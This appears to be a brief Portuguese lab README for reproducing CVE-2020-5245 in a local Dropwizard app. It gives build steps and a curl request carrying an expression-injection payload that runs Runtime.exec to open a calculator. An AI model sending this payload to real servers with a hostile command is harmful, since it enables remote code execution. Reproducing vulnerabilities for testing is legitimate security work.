CVE-2020-5245

CVE-2020-5245

1. Execute mvn clean install para compilar sua aplicação
2. Inicie a aplicação com java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml
3. Para verificar se sua aplicação está em execução, acesse a URL http://localhost:8080

algum erro no pom.xml; os plugins não foram afetados; reproduza

Reproduzir

curl http://localhost:8080/bookService/selfValidatingBeanParam?answer=${%27%27.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22java.lang.Runtime.getRuntime().exec(%27/usr/bin/gnome-calculator%27)%22)}